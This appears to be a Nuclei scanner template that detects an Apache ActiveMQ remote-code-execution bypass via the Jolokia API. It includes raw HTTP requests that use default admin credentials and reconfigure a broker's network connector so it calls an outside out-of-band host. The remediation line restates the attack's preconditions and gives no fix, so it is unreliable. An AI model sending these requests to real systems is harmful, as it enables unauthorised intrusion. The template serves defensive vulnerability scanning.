id: CVE-2026-40466

info:
  name: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.
  impact: |
    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
  remediation: Attacker must be authenticated and activemq-http module must be on classpath.
  reference:
    - https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40466
    - https://github.com/advisories/GHSA-w3w2-mpp5-92gm
    - https://github.com/apache/activemq/pull/1918
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-40466
    cwe-id: CWE-20,CWE-94
    epss-score: 0.18014
    epss-percentile: 0.95259
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query: product:"ActiveMQ"
  tags: cve,cve2026,activemq,apache,rce,jolokia,oob,http,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207f30d01320065b917eb9a81bf795a2063a9e3ba897072b9c8707bd0554007561022100a21f555456654c3997d196626ac22735a59ea45ad09351ce4a3728b226235933:922c64590222798bb761d5b6d8e72950